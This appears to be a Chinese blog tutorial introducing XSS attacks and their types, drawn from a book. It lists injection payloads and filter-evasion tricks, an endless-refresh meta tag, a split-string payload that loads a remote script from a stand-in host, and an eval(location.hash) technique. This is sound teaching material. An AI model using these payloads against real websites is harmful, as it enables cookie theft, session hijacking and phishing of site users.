当前位置: 首页 > news >正文

XSS跨站脚本攻击剖析与防御:初识XSS

目录

跨站脚本介绍

1. 什么是XSS跨站脚本

2. XSS跨站脚本实例

3. XSS漏洞的危害

XSS的分类 

1. 反射型XSS

2. 持久性XSS

XSS构造 

1. 利用< >标记注射Html /Javascript

2. 利用HTML标签属性值执行XSS 

3. 空格回车Tab

4. 对标签属性值转码

5. 产生自己的事件 

6. 利用CSS跨站剖析 

7. 扰乱过滤规则

8. 拆分跨站法 

Shellcode的调用 

1. 动态调用远程 JavaScript

2. 使用window.location.hash 


 

跨站脚本介绍

1. 什么是XSS跨站脚本

攻击者利用网站漏洞把恶意的脚本代码(通常包括HTML代码和客户端Javascript脚本)注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。

2. XSS跨站脚本实例

<html>

        <head>test</head>

        <body>

                <script>alert("XSS")</script>

         </body>

</html>

这是一段很简单的HTML代码,其中包括一个JavaScript语句块,该语句块使用内置的alert()函数来打开一个消息框,消息框中显示XSS信息。把以上代码保存为HTM或HTML文件,然后用浏览器打开。 

XSS输入也可能是HTML代码段,如要使网页不停地刷新,代码为:

<meta http-equiv="refresh" content="0;">

<html> <head>   <title> XSS测试 </title> </head> <body>   <form action="XSS.php" method="POST">请输入名字:<br><input type="text"name="name" value=""></input>    <input type="submit" value="提交"></input> </body>
</html>

嵌入其他网站的链接,代码为:

<iframe src=http://www.test.com width=0 height=0></iframe> 


html文件: 

<html> <head>   <title> XSS测试 </title> </head> <body>   <form action="XSS.php" method="POST">请输入名字:<br><input type="text"name="name" value=""></input>    <input type="submit" value="提交"></input> </body>
</html>

php文件:

<html> <head>   <title> 测试结果 </title> </head> <body>  <?php echo $_REQUEST[name];?> </body>
</html>

以上代码使用$_REQUEST[name]获取用户输入的name变量,然后直接echo输出。打开测试页面,随便输入一些信息,例如Lisa,然后单击【提交】按钮,页面把我们刚刚输入完完整整地输出来了。

3. XSS漏洞的危害

(1)网络钓鱼,包括盗取各类用户账号;

(2)窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;

(3)劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等;

(4)强制弹出广告页面、刷流量等;

(5)网页挂马;

(6)进行恶意操作,例如任意篡改页面信息、删除文章等;(

(7)进行大量的客户端攻击,如DDoS攻击;

(8)获取客户端信息,例如用户的浏览历史、真实IP、开放端口等;

(9)控制受害者机器向其他网站发起攻击;

(10)结合其他漏洞,如CSRF漏洞,实施进一步作恶;

(11)提升用户权限,包括进一步渗透网站;(

(12)传播跨站脚本蠕虫等;

   ……

XSS的分类 

1. 反射型XSS

反射型XSS的利用一般是攻击者通过特定手法(比如利用电子邮件),诱使用户去访问一个包含恶意代码的URL,当受害者单击这些专门设计的链接的时候,恶意JavaScript代码会直接在受害者主机上的浏览器执行。它的特点是只在用户单击时触发,而且只执行一次,非持久化,所以称为反射型跨站式脚本。

将恶意脚本附加到URL地址的参数中:

http://www.test.com/search.php?key="><script>alert("XSS")</script>

2. 持久性XSS

此类XSS不需要用户单击特定URL就能执行跨站脚本,攻击者事先将恶意JavaScript代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意JavaScript代码的页面就会执行恶意代码。

XSS构造 

1. 利用< >标记注射Html /Javascript

<script>alert('XSS'); </script>

2. 利用HTML标签属性值执行XSS 

<table background="javascript:alert(/xss/)"></table>

3. 空格回车Tab

<img src="javas cript:alert(/xss/)" width=100>

4. 对标签属性值转码

<img src="javascrip&#116&#58alert(/XSS/);" >

5. 产生自己的事件 

<input type="button" value="click me" οnclick="alert('click me')" />

6. 利用CSS跨站剖析 

<div style="background-image:url(javascript:alert('XSS'))"><style>

7. 扰乱过滤规则

一个正常的XSS输入:<img src="javascript:alert(0);">

转换大小写后的XSS:<IMG SRC="javascript:alert(0);">

大小写混淆的XSS:<iMg sRC="jaVasCript:alert(0);">

不用双引号,而是使用单引号的XSS:<img src='javascript:alert(0);'>

不使用引号的XSS:<img src=javascript:alert(0);>

8. 拆分跨站法 

<script>z='document.'</script>

<script>z=z+'write("'</script>

<script>z=z+'<script'</script><script>z=z+' src=ht'</script>

<script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script>

<script>z=z+'.net/1.'</script>

<script>z=z+'js></sc'</script>

<script>z=z+'ript>")'</script><script>eval(z)</script>

上述代码的作用是引入一个字符串变量z,并且将下行代码拆分开来:document.write('<script src=//www.shell.net/1.js></script>')

Shellcode的调用 

所谓的 Shellcode,最初是溢出程序和蠕虫病毒的核心,实际上是指利用一个漏洞时所执行的代码。在XSS跨站脚本中,是指由JavaScript等脚本编写的XSS利用代码。

1. 动态调用远程 JavaScript

可以直接把Shellcode写到URL参数中,如:

http://www.bug.com/veiw.php?sort="><script>alert(/xss/)</script>

这里有个显而易见的缺点,就是恶意代码败露在URL链接中,容易使网站用户产生怀疑。此外,Web应用程序不仅会对当中的恶意代码进行过滤,也会限制URL的字符长度。所以,方便起见,Shellcode可写到其他服务器的文件上,然后再用<script>标签进行动态加载。

2. 使用window.location.hash 

如果仅仅是为了解决URL字符长度问题,还可以使用另一种方式实现Shellcode的存储和调用——利用window.location.hash属性。

location 是 JavaScript 管理地址栏的内置对象,比如 location.href 用来管理页面的 URL,用location.href=url就可以直接将页面重定向URL,而location.hash则可以用来获取或设置页面的标签值。比如 http://domain/#admin 的location.hash="#admin",利用这个属性值可以做一件非常有意义的事情。

http://www.bug.com/veiw.php?sort="><script>eval(location.hash.substr(1))</script>#alert('xss')

substr()可在字符串中抽取从 start 下标(这里是 1 )开始的指定数目的字符,所以location.hash.substr(1) 的作用是抽取“#”符号后面的字符,即alert('xss');而eval()函数用来计算某个字符串,并执行其中的 JavaScript 代码。那么,eval(location.hash.substr(1))的功能就是执行 Url的#之后的JavaScript代码,通过这个技巧,就能先把Shellcode写到地址参数中再执行。 

参考文献:

《XSS跨站脚本攻击剖析与防御》-邱永华-人民邮电出版社-2013-09

相关文章:

XSS跨站脚本攻击剖析与防御:初识XSS

目录 跨站脚本介绍 1. 什么是XSS跨站脚本 2. XSS跨站脚本实例 3. XSS漏洞的危害 XSS的分类 1. 反射型XSS 2. 持久性XSS XSS构造 1. 利用< >标记注射Html /Javascript 2. 利用HTML标签属性值执行XSS 3. 空格回车Tab 4. 对标签属性值转码 5. 产生自己的事件…...

Python 高级编程之网络编程 Socket(六)

文章目录一、概述二、Python socket 模块1&#xff09;Socket 类型1、创建 TCP Socket2、创建 UDP Socket2&#xff09;Socket 函数1、服务端socket函数2、客户端socket函数3、公共socket函数三、单工&#xff0c;半双工以及全双工通信方式的区别四、单工&#xff0c;半双工以及…...

centos学习记录

遇到的问题及其解决办法 centos7安装图形化界面 yum groupinstall ‘X Window System’ yum groupinstall -y ‘GNOME Desktop’ 安装完成后输入init 5进入图形化界面 centos7安装vmware-tools 第一步卸载open-vm-tools 输入命令 yum remove open-vm-tools 输入命令 reboot 在…...

为什么说网络安全是风口行业?

前言 “没有网络安全就没有国家安全”。当前&#xff0c;网络安全已被提升到国家战略的高度&#xff0c;成为影响国家安全、社会稳定至关重要的因素之一。 网络安全行业特点 1、就业薪资非常高&#xff0c;涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万&…...

12-PHP使用过的函数 111-120

111、rowCount if ($stmt->execute($data)) {//true//读:select//写:insert,update,delete,成功后会返回表中受影响的记录数量//!rowCount() 返回受影响的记录数量if ($stmt->rowCount() > 0) {echo 新增成功,id . $db->lastInsertId() . <hr>;} else {//…...

【JavaWeb项目】简单搭建一个前端的博客系统

博客系统项目 本项目主要分成四个页面: 博客列表页博客详情页登录页面博客编辑页 该系统公共的CSS样式 common.css /* 放置一些各个页面都会用到的公共样式 */* {margin: 0;padding: 0;box-sizing: 0; }/* 给整个页面加上背景 */ html, body{height: 100%; }body {backgrou…...

iPerf3 -M参数详解,场景分析

本文目录iPerf3 -M参数说明几个典型测试场景中应该如何设定合适的-M参数值理想局域网模型&#xff08;无丢包&#xff0c;无抖动&#xff09;高丢包&#xff0c;无抖动模型高丢包&#xff0c;高抖动模型&#xff08;网络质量比较差&#xff0c;IP转发路径变化频繁&#xff09;总…...

java的基本语法以及注意事项

Java 基础语法一个 Java 程序可以认为是一系列对象的集合&#xff0c;而这些对象通过调用彼此的方法来协同工作。下面简要介绍下类、对象、方法和实例变量的概念。对象&#xff1a;对象是类的一个实例&#xff0c;有状态和行为。例如&#xff0c;一条狗是一个对象&#xff0c;它…...

matlab搭建IAE,ISE,ITAE性能指标

目录前言准备IAEISEITAE前言 最近在使用matlab搭建控制系统性能评价指标模型&#xff0c;记录一下 准备 MATLAB R2020 IAE IAE函数表达式如下所示&#xff1a; IAE函数模型如下所示&#xff1a; ISE ISE函数表达式如下所示&#xff1a; ISE函数模型如下所示&#xff…...

docker安装mysql

在安装Mysql之前&#xff0c;我们可以先查看一下我们的镜像&#xff0c;输入命令&#xff1a; docker images 能发现&#xff0c;镜像里面只有一个Nginx&#xff0c;并没有Mysql 然后我们可以像上一篇安装Nginx一样&#xff0c;安装Mysql镜像。 输入以下命令&#xff0c;安装…...

Leetcode 回溯详解

回溯法 回溯法有“通用解题法”之称&#xff0c;用它可以系统地搜索问题的所有解。回溯法是一个既带有系统性又带有跳跃性的搜索算法。 在包含问题的所有解的解空间树中&#xff0c;按照深度优先搜索(DFS)&#xff09;的策略&#xff0c;从根结点出发深度探索解空间树。当探索…...

AI_Papers:第一期

2023.02.06—2023.02.12 文摘词云 Top Papers Subjects: cs.CL 1.Multimodal Chain-of-Thought Reasoning in Language Models 标题&#xff1a;语言模型中的多模式思维链推理 作者&#xff1a;Zhuosheng Zhang, Aston Zhang, Mu Li, Hai Zhao, George Karypis, Alex Sm…...

C/C++内存管理

C/C内存管理C/C内存分布C语言中内存管理的方式&#xff1a;malloc/calloc/realloc/freeC内存管理方式内置类型自定义类型operator new 与operator deletenew和delete的实现原理内置类型自定义类型定位new表达式(placement-new)new/delete与malloc/free的区别C/C内存分布 我们先…...

【大数据hive】hive 函数使用详解

一、前言 在任何一种编程语言中&#xff0c;函数可以说是必不可少的&#xff0c;像mysql、oracle中&#xff0c;提供了很多内置函数&#xff0c;或者通过自定义函数的方式进行定制化使用&#xff0c;而hive作为一门数据分析软件&#xff0c;随着版本的不断更新迭代&#xff0c…...

彻底搞懂分布式系统服务注册与发现原理

目录 引入服务注册与发现组件的原因 单体架构 应用与数据分离...

安卓Camera2用ImageReader获取NV21源码分析

以前如何得到Camera预览流回调 可以通过如下方法&#xff0c;得到一路预览回调流 Camera#setPreviewCallbackWithBuffer(Camera.PreviewCallback)&#xff0c;可以通过如下方法&#xff0c;设置回调数据的格式&#xff0c;比如 ImageFormat.NV21 Camera.Parameters#setPreview…...

24. 两两交换链表中的节点

文章目录题目描述迭代法递归法参考文献题目描述 给你一个链表&#xff0c;两两交换其中相邻的节点&#xff0c;并返回交换后链表的头节点。你必须在不修改节点内部的值的情况下完成本题&#xff08;即&#xff0c;只能进行节点交换&#xff09;。 示例 1&#xff1a; 输入&a…...

linux006之帮助命令

linux帮助命令简介&#xff1a; linux的命令是非常多的&#xff0c;光靠人是记不住的&#xff0c;在工作中一般都会去网上查&#xff0c;这是有外网的情况下&#xff0c;如果项目中不允许访问外网&#xff0c;那么linux的帮助命令就可以派上用场了&#xff0c; linux帮助命令是…...

【C++初阶】十三、模板进阶(总)|非类型模板参数|模板的特化|模板分离编译|模板总结(优缺点)

目录 一、非类型模板参数 二、模板的特化 2.1 模板特化概念 2.2 函数模板特化 2.3 类模板特化 2.3.1 全特化 2.3.2 偏特化 三、模板分离编译 四、模板总结&#xff08;优缺点&#xff09; 前言&#xff1a;之前模板初阶并没有把 C模板讲完&#xff0c;因为当时没有接触…...

Linux之文本搜索命令

文本搜索命令学习目标能够知道文本搜索使用的命令1. grep命令的使用命令说明grep文本搜索grep命令效果图:2. grep命令选项的使用命令选项说明-i忽略大小写-n显示匹配行号-v显示不包含匹配文本的所有行-i命令选项效果图:-n命令选项效果图:-v命令选项效果图:3. grep命令结合正则表…...

无法与IP建立连接,未能下载VSCode服务器

如题&#xff0c;在远程连接服务器的时候突然遇到了这个提示。 查阅了一圈&#xff0c;发现是VSCode版本自动更新惹的祸&#xff01;&#xff01;&#xff01; 在VSCode的帮助->关于这里发现前几天VSCode自动更新了&#xff0c;我的版本号变成了1.100.3 才导致了远程连接出…...

第25节 Node.js 断言测试

Node.js的assert模块主要用于编写程序的单元测试时使用&#xff0c;通过断言可以提早发现和排查出错误。 稳定性: 5 - 锁定 这个模块可用于应用的单元测试&#xff0c;通过 require(assert) 可以使用这个模块。 assert.fail(actual, expected, message, operator) 使用参数…...

【Java_EE】Spring MVC

目录 Spring Web MVC ​编辑注解 RestController RequestMapping RequestParam RequestParam RequestBody PathVariable RequestPart 参数传递 注意事项 ​编辑参数重命名 RequestParam ​编辑​编辑传递集合 RequestParam 传递JSON数据 ​编辑RequestBody ​…...

数据库分批入库

今天在工作中&#xff0c;遇到一个问题&#xff0c;就是分批查询的时候&#xff0c;由于批次过大导致出现了一些问题&#xff0c;一下是问题描述和解决方案&#xff1a; 示例&#xff1a; // 假设已有数据列表 dataList 和 PreparedStatement pstmt int batchSize 1000; // …...

mysql已经安装,但是通过rpm -q 没有找mysql相关的已安装包

文章目录 现象&#xff1a;mysql已经安装&#xff0c;但是通过rpm -q 没有找mysql相关的已安装包遇到 rpm 命令找不到已经安装的 MySQL 包时&#xff0c;可能是因为以下几个原因&#xff1a;1.MySQL 不是通过 RPM 包安装的2.RPM 数据库损坏3.使用了不同的包名或路径4.使用其他包…...

图表类系列各种样式PPT模版分享

图标图表系列PPT模版&#xff0c;柱状图PPT模版&#xff0c;线状图PPT模版&#xff0c;折线图PPT模版&#xff0c;饼状图PPT模版&#xff0c;雷达图PPT模版&#xff0c;树状图PPT模版 图表类系列各种样式PPT模版分享&#xff1a;图表系列PPT模板https://pan.quark.cn/s/20d40aa…...

MySQL用户和授权

开放MySQL白名单 可以通过iptables-save命令确认对应客户端ip是否可以访问MySQL服务&#xff1a; test: # iptables-save | grep 3306 -A mp_srv_whitelist -s 172.16.14.102/32 -p tcp -m tcp --dport 3306 -j ACCEPT -A mp_srv_whitelist -s 172.16.4.16/32 -p tcp -m tcp -…...

dify打造数据可视化图表

一、概述 在日常工作和学习中&#xff0c;我们经常需要和数据打交道。无论是分析报告、项目展示&#xff0c;还是简单的数据洞察&#xff0c;一个清晰直观的图表&#xff0c;往往能胜过千言万语。 一款能让数据可视化变得超级简单的 MCP Server&#xff0c;由蚂蚁集团 AntV 团队…...

Springboot社区养老保险系统小程序

一、前言 随着我国经济迅速发展&#xff0c;人们对手机的需求越来越大&#xff0c;各种手机软件也都在被广泛应用&#xff0c;但是对于手机进行数据信息管理&#xff0c;对于手机的各种软件也是备受用户的喜爱&#xff0c;社区养老保险系统小程序被用户普遍使用&#xff0c;为方…...

DingDing机器人群消息推送

文章目录 1 新建机器人2 API文档说明3 代码编写 1 新建机器人 点击群设置 下滑到群管理的机器人&#xff0c;点击进入 添加机器人 选择自定义Webhook服务 点击添加 设置安全设置&#xff0c;详见说明文档 成功后&#xff0c;记录Webhook 2 API文档说明 点击设置说明 查看自…...